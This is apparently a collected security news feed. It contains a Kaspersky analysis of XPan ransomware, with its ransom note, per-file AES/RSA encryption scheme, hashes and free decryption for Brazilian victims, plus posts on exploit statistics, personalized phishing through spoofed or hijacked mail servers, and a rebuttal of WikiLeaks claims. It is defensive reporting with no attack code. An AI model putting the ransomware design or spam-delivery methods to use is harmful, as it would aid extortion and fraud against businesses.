The ransomware author left a message for Kaspersky in other versions and has done the same in this one, with traces to the NMoreira “CrypterApp.cpp” there’s a clear link between different variants among this malware family.

NMoreira, XPan, TeamXRat, different names but same author.

Even though many Brazilian-Portuguese strings are present upon initial analysis, there were a couple that caught our attention. Firstly, the ransomware uses a batch file which will pass a command line parameter to an invoked executable file, this parameter is “eusoudejesus” which means “I’m from Jesus”. Developers tend to leave tiny breadcrumbs of their personality behind in each one of their creations, and in this sample we found many of them.

A brief religious reference found in this XPan variant.

Secondly, a reference to a Brazilian celebrity is done, albeit indirectly. “Computador da Xuxa” was a toy computer sold in Brazil during the nineties, however it’s also a popular expression which is used to make fun of very old computers with limited power.

This is what cybercriminals think of your encrypted computer: just a toy they can control.

“Muito bichado” equals to finding a lot of problems in these type of systems, in this case meaning that the environment in which is XPan is executing is not playing fair and the execution is quite buggy.

Lastly, we have the ransomware note demanding the victim to send an email to the account ‘one@proxy.tg’. Considering that the extension for all the encrypted files in this variant is ‘.one’ this seems like a pretty straightforward naming convention for the criminals’ campaigns.

The rescue note in Portuguese.

Upon closer inspection, we discovered that this sample is nearly identical to another version of Xpan which used to be distributed back in November 2016 and used the extension “.__AiraCropEncrypted!”. Every bit of executable code remains the same, which is quite surprising, because since that time there were several newer versions of this malware with an updated encryption algorithm. Both samples have the same PE timestamp dating back to the 31st of October 2016.

The only difference between the two is the configuration block which contains the following information:

  • list of target file extensions;
  • ransom notes;
  • commands to execute before and after encryption;
  • the public RSA key of the criminals.

The decrypted configuration block of Xpan that uses the extension “.one”.

The file encryption algorithm also remains the same. For each target file the malware generates a new unique 255-byte random string S (which contains the substring “NMoreira”), turns it into a 256-bit key using the API CryptDeriveKey, and proceeds to encrypt the file contain using AES-256 in CBC mode with zero IV. The string S will be encrypted using the criminals’ RSA public key from the configuration block and stored in the beginning of the encrypted file.

According to one of the victims that contacted us, criminals were asking for 0.3 bitcoin to provide the recovery key, using the same approach as they did with before: the user sends a message to a mailbox with his unique ID and patiently awaits for further instructions.

The victims so far are small and medium businesses in Brazil: ranging from a dentist clinic to a driving school, demonstrating once again that ransomware makes no distinctions and everyone is at risk. As long as there are victims, assisting them and providing decryption tools whenever possible is necessary, no matter the ransomware family or when it was created.

Victims: we can help

This time luck is on the victims’ side! Upon thorough investigation and reverse engineering of the sample of “.one” version of Xpan, we discovered that the criminals used a vulnerable cryptographic algorithm implementation. It allowed us to break encryption as with the previously described Xpan version.

We successfully helped a driving school and a dentist clinic to recover their files for free and as usual we encourage victims of this ransomware to not pay the ransom and to contact our technical support for assistance in decryption.

Brazilian cybercriminals are focusing their efforts in creating new and local ransomware families, attacking small companies and unprotected users. We believe this is the next step in the ransomware fight: going from global scale attacks to a more localized scenario, where local cybercriminals will create new families from scratch, in their own language, and resorting to RaaS (Ransomware-as-a-service) as a way to monetize their attacks.

MD5 reference

dd7033bc36615c0fe0be7413457dccbf – Trojan-Ransom.Win32.Xpan.e (encrypted file extension: “.one”)
54217c1ea3e1d4d3dc024fc740a47757 – Trojan-Ransom.Win32.Xpan.d (encrypted file extension: “.__AiraCropEncrypted!”)

Exploits: how great is the threat?

Malware Alerts - Thu, 04/20/2017 - 04:57

How serious, really, is the danger presented by exploits? The recent leak of an exploit toolset allegedly used by the infamous Equation Group suggests it’s time to revisit that question. Several zero-days, as well as a bunch of merely ‘severe’ exploits apparently used in-the-wild were disclosed, and it is not yet clear whether this represents the full toolset or whether there’s more to come, related to either Equation or another targeted threat actor.

Of course, Equation Group is not the first, and is certainly not the only sophisticated targeted attacker to use stealthy, often zero-day exploits in its activity.

Today we are publishing an overview of the exploit threat landscape. Using our own telemetry data and intelligence reports as well as publically available information, we’ve looked at the top vulnerabilities and applications exploited by attackers.

We have examined them from two equally important perspectives. The first part of the report summarises the top exploits targeting all users in 2015-2016, and the most vulnerable applications. The second part considers the vulnerabilities exploited between 2010 and 2016 by significant targeted threat actors reported on by Kaspersky Lab: that’s 35 actors and campaigns in total.

Key findings on exploits targeting all users in 2015-2016:
  • In 2016 the number of attacks with exploits increased 24.54%, to 702,026,084 attempts to launch an exploit.
  • 4,347,966 users were attacked with exploits in 2016 which is 20.85% less than in the previous year.
  • The number of corporate users who encountered an exploit at least once increased 28.35% to reach 690,557, or 15.76% of the total amount of users attacked with exploits.
  • Browsers, Windows, Android and Microsoft Office were the applications exploited most often – 69.8% of users encountered an exploit for one of these applications at least once in 2016.
  • In 2016, more than 297,000 users worldwide were attacked by unknown exploits (zero-day and heavily obfuscated known exploits).

2015-2016 witnessed a number of positive developments in the exploit threat landscape. For example, two very dangerous and effective exploit kits – Angler (XXX) and Neutrino, left the underground market, depriving cybercriminals community of a very comprehensive set of tools created to hack computers remotely.

A number of bug bounty initiatives aimed at highlighting dangerous security issues were launched or extended. Together with the ever-increasing efforts of software vendors to fix new vulnerabilities, this significantly increased the cost to cybercriminals of developing new exploits. A clear victory for the infosec community that has resulted in a drop of just over 20% in the number of private users attacked with exploits: from 5.4 million in 2015 to 4.3 million in 2016.

However, alongside this welcome decline, we’ve registered an increase in the number of corporate users targeted by attacks involving exploits. In 2016, the number of attacks rose by 28.35% to reach more than 690,000, or 15.76% of the total amount of users attacked with exploits. In the same year, more than 297,000 users worldwide were attacked by unknown exploits. These attacks were blocked by our Automatic Exploit Prevention technology, created to detect this type of exploits.

Key findings on exploits used by targeted attackers 2010 -2016:
  • Overall, targeted attackers and campaigns reported on by Kaspersky Lab in the years 2010 to 2016 appear to have held, used and re-used more than 80 vulnerabilities. Around two-thirds of the vulnerabilities tracked were used by more than one threat actor.
  • Sofacy, also known as APT28 and Fancy Bear seems to have made use of a staggering 25 vulnerabilities, including at least six, if not more zero-days. The Equation Group is not far behind, with approximately 17 vulnerabilities in its arsenal, of which at least eight were zero-days, according to public data and Kaspersky Lab’s own intelligence.
  • Russian-speaking targeted attack actors take three of the top four places in terms of vulnerability use (the exception being Equation Group in second place), with other English- and Chinese-speaking threat actors further down the list.
  • Once made public, a vulnerability can become even more dangerous: grabbed and repurposed by big threat actors within hours.
  • Targeted attackers often exploit the same vulnerabilities as general attackers – there are notable similarities between the list of top vulnerabilities used by targeted threat actors in 2010-2016, and those used in all attacks in 2015-2016.

When looking more closely at the applications used by targeted threat actors to mount exploit-based attacks, we weren’t surprised to discover that Windows, Flash and Office top the list.

Applications and Operation Systems most often exploited by targeted attack groups.

Moreover, the recent leak of multiple exploits allegedly belonging to the Equation cyberespionage group highlighted another known but often overlooked truth: the life of an exploit doesn’t end with the release of a security patch designed to fix the vulnerability being exploited.

Our research suggests that threat actors are still actively and successfully exploiting vulnerabilities patched almost a decade ago – as can be seen in the chart below:

Everyone loves an exploit

Exploits are an effective delivery tool for malicious payloads and this means they are in high demand among malicious users, whether they are cybercriminal groups, or targeted cyberespionage and cybersabotage actors.

To take just one example, when we looked at our most recent threat statistics we found that exploits to CVE-2010-2568 (used in the notorious Stuxnet campaign) still rank first in terms of the number of users attacked. Almost a quarter of all users who encountered any exploit threat in 2016 were attacked with exploits to this vulnerability.

Conclusion and Advice

The conclusion is a simple one: even if a malicious user doesn’t have access to expensive zero-days, the chances are high that they’d succeed with exploits to old vulnerabilities because there are many systems and devices out there that have not yet been updated.

Even though developers of popular software invest huge resources into finding and eliminating bugs in their products and exploit mitigation techniques, for at least the foreseeable future the challenge of vulnerabilities will remain.

In order to protect your personal or business data from attacks via software exploits, Kaspersky Lab experts advise the following:

  • Keep the software installed on your PC up to date, and enable the auto-update feature if it is available.
  • Wherever possible, choose a software vendor which demonstrates a responsible approach to a vulnerability problem. Check if the software vendor has its own bug bounty program.
  • If you are managing a network of PCs, use patch management solutions that allow for the centralized updating of software on all endpoints under your control.
  • Conduct regular security assessments of the organization’s IT infrastructure.
  • Educate your personnel on social engineering as this method is often used to make a victim open a document or a link infected with an exploit.
  • Use security solutions equipped with specific exploit prevention mechanisms or at least behavior-based detection technologies
  • Give preference to vendors which implement a multilayered approach to protection against cyberthreats, including exploits.

Further details on exploits used in attacks in 2015 and 2016, as well as by the big targeted threat actors over the last six years – and Kaspersky Lab guidance on how to address the threat they present, can be found in the full report.


MktoForms2.loadForm("//app-sj06.marketo.com", "802-IJN-240", 11329);

Social Media Postings

SANS Tip of the Day - Thu, 04/20/2017 - 01:00
Be careful: the more information you post online about yourself, the easier it is for a cyber attacker to target you and create custom attacks against you or your organization.

Personalized Spam and Phishing

Malware Alerts - Wed, 04/19/2017 - 05:58

Most spam, especially the sort that is mass-mailed on behalf of businesses, has quite an impersonal format: spammers create a message template for a specific mailing purpose and often drastically diversify the contents of that template. Generally, these kinds of messages do not personally address the recipient and are limited to common phrases such as “Dear Client”. The most that personal data is ever involved is when the name of the mailbox (or part of it) is substituted with the electronic address that the spammer has. Any specifics that may help the recipient ascertain whether the message is addressed personally to him or not, for example, an existing account number, a contract number, or the date of its conclusion, is missing in the message. This impersonality, as a rule, attests toa phishing attempt.

Lately, however, we have been noticing an opposite tendency occurring quite often, wherein fraud becomes personalized and spammers invent new methods to persuade the recipient that the message is addressed personally to him. Thus, in the malicious mailing that we discovered last month, spammers used the actual postal addresses of the recipients in messages to make them seem as credible as possible. This information is sold to evildoers as ready-to-use databases with physical addresses (they are frequently offered for sale in spam messages), collected by evildoers from open sources, or obtained by evildoers when hacking email accounts, for example. Of course, cybercriminals will not have very many of these addresses at their disposal (compared to generated addresses), but they are much more valuable.

The way spammers organize their personalized attacks plays an important role as well. In general, messages are mass mailed on behalf of an existing company, while the technical headers of fake messages use the company’s actual details.

There are several ways to use valid details. The most unsophisticated method is spoofing, which is substitution of technical headers in messages. The headers can be easily placed with any mass mailing program. In particular, during the spoofing process, the “From” field contains the real address of the sender that the fraudsters have. In this case, spam will be mass-mailed on behalf of the spoofed company, which can stain the company’s reputation quite seriously. Yet, not all technical headers can be substituted when spoofing, and good anti-spam filters will not let these messages through.

Another method entails sending spam from so-called hijacked infrastructure, which is much harder to do technically, as the mail server of the target company has to be hacked. After gaining control over it, an evildoer can start sending messages with legitimate technical headers from any email address owned by the company and on behalf of any employee who works there. At the same time, the fake message looks quite credible for anti-spam filters and freely travels from server to server, as all of the necessary certificates and digital signatures in the header correspond to genuine counterparts. This would result in losses by both the recipient, who takes the bait of the evildoers (network infection and theft of personal data or business information), and the company, whose infrastructure is abused by the evildoers.

Usually, cybercriminals select small businesses (with up to several dozen employees) as victims for hacking. Owners of so-called parked domains are of particular interest, as parked domains are used by a company without creating a website on these domains.

In the samples detected by us, personalized malicious spam was mass-mailed on behalf of an existing business that was a small company specialized in staff recruitment. The messages contained order delivery notifications that are typical of malicious spam, but also indicated the real postal addresses of the recipients. The messages also contained URLs that were located on legitimate domains and were constantly changing throughout the mailings. If a user navigates to the URL, then malicious software will be downloaded to the user’s computer.

In this way, we may affirm that spam is becoming more personalized and mailing is becoming targeted. With the rising digital literacy of users, this is exactly what evildoers rely upon; It is not so easy to remember all your subscriptions, all your online orders, or where you’ve left your personal data, including addresses. Such an information load calls for the use of smart security solutions and the employment of security measures to protect your “information-driven personality”.

The security is still secure

Malware Alerts - Thu, 04/13/2017 - 09:49

Recently WikiLeaks published a report that, among other things, claims to disclose tools and tactics employed by a state-sponsored organization to break into users’ computers and circumvent installed security solutions.

The list of compromised security products includes dozens of vendors and relates to the whole cybersecurity industry. The published report includes a description of vulnerabilities in software products that can be used to bypass protection and jeopardize users’ security.

Customers’ security is a top priority for Kaspersky Lab, and as such we take any information that could undermine users’ protection very seriously. We thoroughly investigate all reported vulnerabilities.

The published report contains descriptions of two vulnerabilities in Kaspersky Lab’s products that have already been fixed. It also includes a number of mentions related to the company’s technologies and past Advanced Persistent Threat (APT) research. I’d like to take this opportunity to address possible concerns regarding the report and provide reliable first-hand information to demonstrate that no current Kaspersky Lab products and technologies are vulnerable.

Vulnerabilities in security solutions

First of all, I’d like to emphasize that the vulnerabilities in Kaspersky Lab’s products listed in the report are related to older versions of the products, and they were publicly disclosed and fixed some time ago. The current versions of our products are not vulnerable to the tools and tactics listed.

The “heapgrd” DLL inject vulnerability was discovered and fixed in Kaspersky Lab products back in 2009. The vulnerability allowed a malefactor to load a third-party DLL instead of the WHEAPGRD.dll file and thus bypass protection. It was patched starting with Kaspersky Internet Security 9 and Kaspersky Antivirus for Workstations MP4. The products that were mentioned in relation to these vulnerabilities (Kaspersky Internet Security 7 and 8 and Kaspersky Antivirus for Workstations MP3) are outdated and no longer supported. All current Kaspersky Lab solutions are subject to mandatory testing against these vulnerabilities prior to release.

The TDSS Killer’s DLL inject vulnerability mentioned in the WikiLeaks report was fixed in 2015.

Product behavior specifics

The report also says Kaspersky Lab’s security solutions do not block DLL injections into user processes and svchost.exe. In fact, we do protect against this sort of attack — in a smarter way that elegantly combines protection and a better user experience.

Nowadays, it’s common practice for legitimate applications to inject their code into user processes. To effectively distinguish legitimate from malicious actions, track changes, and restore unwanted amendments an application may make to the system, Kaspersky Lab’s products have included the System Watcher component since 2011. System Watcher monitors all processes on a device, including svchost.exe, and is capable of detecting malicious behavior, blocking it, and rolling back malicious changes.

The report also describes several tools and malicious programs that were used to collect data and infiltrate the users’ computers. However, all of them can be neutralized with Kaspersky Lab’s products. Let’s take a closer look at them.

First, the RickyBobby fileless Trojan is allegedly not detected by Kaspersky Lab’s products, which is not the case. All personal and enterprise level products can detect this Trojan, prevent the infection, and disinfect a system that was protected by a third-party or outdated security solution.

Second, the report mentions two other malware samples (Fine Dining and Grasshopper) that allegedly are not detected by Kaspersky Lab’s products. However, the report doesn’t provide further details of the malware. We will keep investigating the issue and report the findings as soon as details are available.

That said, we are skeptical: It’s said Fine Dining relies on the aforementioned DLL inject vulnerability in TDSS Killer, which is already fixed. Also it’s worth mentioning that Kaspersky products provide multiple layers of protection — such as emulation, heuristics, System Watcher, and Automatic Exploit Prevention — including those powered by industry-leading machine learning. These technologies are capable of detecting cyberthreats proactively based on their behavior and are constantly improved to address new techniques employed by malicious actors. The analysis of the report makes us optimistic that our customers are already protected against both Fine Dining and Grasshopper.

Third, the report mentions HammerDrill, API Memcry, and Trojan Upclicker, which use a variety of techniques to try to avoid detection by the emulator technology.

Kaspersky Lab’s emulator’s history dates back to the early 90s. It’s rated one of the best in the cybersecurity industry, and it’s continuously improved. The functionality to address the described Trojan Upclicker cloaking method was included in the emulator more than a year ago, for example. The other two tools are effectively managed by the multilayer protection available in Kaspersky Lab’s products both for home users and enterprise customers.

Fourth, the report mentions an MBR File Handle component that is able to circumvent security solutions’ drivers and thus upload malware into the Master Boot Record of the operating system.

In fact, this trick is foiled by the antirootkit technology included in Kaspersky Lab products, which enables them to reliably detect and remove infections — even the most advanced bootkits.

Fifth, another tool mentioned in the report is the Bartender program, which collects data on installed software. This functionality is not malicious and is used by many legitimate applications. However, Kaspersky Lab’s products do provide protection against such activity should a user select the high security level setting.

Fun facts

The other two mentions of Kaspersky Lab in the context of malware creation are actually fun facts.

First, the tool called DriftingShadows checks if Kaspersky Lab’s products are installed on the device, and if it finds them, it does … nothing. This means that the malware creators failed to sneak past our products. They now avoid protected devices so that their malware doesn’t get caught.

Second, the documents also describe a game called “Bonus: Capture the Flag” played among malware creators. It involves attempts to create a malware sample that bypasses Kaspersky Lab’s protection. In other words, malefactors consider our products a gold standard of cybersecurity.

Wrap-up

Investigating the existing report thoroughly, we found two vulnerabilities and several other mentions of Kaspersky Lab, including discussions regarding our reports on the Duqu 2.0 and Equation cyberespionage campaigns. Both vulnerabilities were fixed quite some time ago and pose no threat to our customers. The same goes for the other malicious tools and techniques mentioned.

However, we are staying vigilant and continuously monitoring the situation. WikiLeaks may yet publish more details. In any case, we’d like to reassure customers that addressing any possible vulnerabilities will be our top priority.

No development process guarantees immediate, perfect, permanent invincibility. We are committed to constantly improving the development process, and we also make significant efforts to perfect the process of fixing newly discovered vulnerabilities.